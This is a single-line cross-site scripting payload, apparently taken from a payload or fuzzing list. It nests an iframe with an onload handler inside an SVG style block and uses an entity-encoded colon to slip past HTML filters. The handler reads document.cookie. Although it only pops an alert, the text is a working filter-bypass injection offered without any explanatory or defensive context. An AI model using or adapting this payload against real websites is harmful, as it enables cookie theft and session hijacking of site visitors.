<svg><style>{font-family&colon;'<iframe/onload=alert(document.cookie)>'